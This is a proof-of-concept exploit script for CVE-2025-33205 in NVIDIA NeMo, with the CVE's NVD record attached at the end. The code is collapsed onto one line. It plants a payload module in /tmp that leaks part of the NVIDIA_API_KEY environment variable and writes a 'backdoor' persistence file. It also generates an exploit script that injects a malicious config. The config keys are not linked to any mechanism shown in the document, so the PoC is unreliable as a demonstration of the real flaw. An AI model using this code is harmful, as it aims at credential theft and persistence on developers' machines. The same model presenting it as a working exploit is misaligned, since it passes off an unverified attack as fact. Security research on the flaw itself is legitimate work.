CVE-2025-33205

# CVE-2025-33205 PoC - NVIDIA NeMo Framework Predefined Variable Injection # This PoC demonstrates the predefined variable injection vulnerability # WARNING: For educational and authorized security testing only import os import sys import json import tempfile from pathlib import Path class NeMoPredefinedVariableExploit: """ CVE-2025-33205: NVIDIA NeMo Framework Predefined Variable Injection Vulnerability Description: NVIDIA NeMo Framework contains a vulnerability in predefined variables where an attacker can cause inclusion of functionality from an untrusted control sphere by manipulating predefined variables. Attack Vector: Local (AV:L) Privileges Required: Low (PR:L) User Interaction: Required (UI:R) Impact: Code Execution """ def __init__(self, target_path=None): self.target_path = target_path or "./nemo_workspace" self.malicious_module = "nemo_exploit_module" def create_malicious_config(self): """ Create a malicious configuration file that exploits the predefined variable vulnerability """ malicious_config = { "predefined_variables": { "model_path": "${MALICIOUS_MODULE_PATH}", "module_loader": "external_untrusted_source", "config_source": "file:///tmp/malicious_config.py" }, "import_statements": [ "import sys", "import os", "from pathlib import Path" ] } return json.dumps(malicious_config, indent=2) def create_malicious_payload(self): """ Generate malicious payload code that will be executed when the predefined variable is processed """ payload_template = ''' # Malicious module injected via CVE-2025-33205 import os import sys import subprocess from pathlib import Path def execute_payload(): """ This function is executed when the malicious predefined variable is loaded Successful exploitation leads to arbitrary code execution """ print("[!] CVE-2025-33205 Exploitation Successful") print(f"[!] Current user: {os.getuid()}") print(f"[!] Current working directory: {os.getcwd()}") # Attempt to read sensitive environment variables if 'NVIDIA_API_KEY' in os.environ: print(f"[!] Found NVIDIA_API_KEY: {os.environ['NVIDIA_API_KEY'][:10]}...") # Create persistence mechanism persistence_path = Path.home() / ".nemo_backdoor" persistence_path.write_text("backdoor_active") return True # Execute on module import (auto-execution) execute_payload() ''' return payload_template def generate_exploit_script(self, output_path=None): """ Generate standalone exploit script for testing """ exploit_code = f'''#!/usr/bin/env python3 """ CVE-2025-33205 Exploitation Script NVIDIA NeMo Framework Predefined Variable Injection Usage: python exploit.py <target_config_path> Prerequisites: - Local access to target system - Low-privilege user account - User interaction to trigger config loading This script demonstrates how an attacker could exploit the predefined variable vulnerability to achieve code execution. """ import sys import os import json from pathlib import Path def exploit_predefined_variable(config_path): """ Main exploitation function """ print(f"[*] Target configuration: {{config_path}}") print("[*] Attempting to inject malicious predefined variable...") # Malicious configuration payload malicious_config = {{ "predefined_variables": {{ "nemo_model_path": "file:///tmp/malicious_nemo_module.py", "nemo_module_source": "untrusted_external_source", "config_loader": "${PATH}/../../malicious_loader.py" }}, "execution_mode": "auto_import" }} # Write malicious configuration config_file = Path(config_path) config_file.parent.mkdir(parents=True, exist_ok=True) config_file.write_text(json.dumps(malicious_config, indent=2)) print("[+] Malicious configuration written successfully") print("[+] When NeMo Framework loads this config, arbitrary code executes") return True if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python exploit.py <config_path>") sys.exit(1) target = sys.argv[1] exploit_predefined_variable(target) ''' if output_path: Path(output_path).write_text(exploit_code) print(f"[+] Exploit script written to: {output_path}") return exploit_code def main(): """ Main function to demonstrate the vulnerability """ print("=" * 60) print("CVE-2025-33205 - NVIDIA NeMo Framework Exploitation Demo") print("=" * 60) exploit = NeMoPredefinedVariableExploit() # Create malicious payload payload = exploit.create_malicious_payload() payload_path = "/tmp/malicious_nemo_module.py" Path(payload_path).write_text(payload) print(f"[+] Created malicious payload at: {payload_path}") # Generate exploit script exploit.generate_exploit_script("/tmp/cve_2025_33205_exploit.py") print("\n[!] This is a demonstration of the vulnerability") print("[!] For authorized security testing only") print("\n[*] Recommended actions:") print(" 1. Update NVIDIA NeMo Framework to patched version") print(" 2. Implement input validation for predefined variables") print(" 3. Restrict access to configuration files") print(" 4. Enable security auditing for framework operations") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-33205", "sourceIdentifier": "[email protected]", "published": "2025-11-25T18:15:52.517", "lastModified": "2025-12-02T18:11:45.220", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NVIDIA NeMo framework contains a vulnerability in a predefined variable, where an attacker could cause inclusion of functionality from an untrusted control sphere by use of a predefined variable. A successful exploit of this vulnerability may lead to code execution."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.3, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-829"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nvidia:nemo:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.5.1", "matchCriteriaId": "7DA1A981-8A91-49BC-AACD-30BB8D5E4175"}]}]}], "references": [{"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-33205", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5729", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2025-33205", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}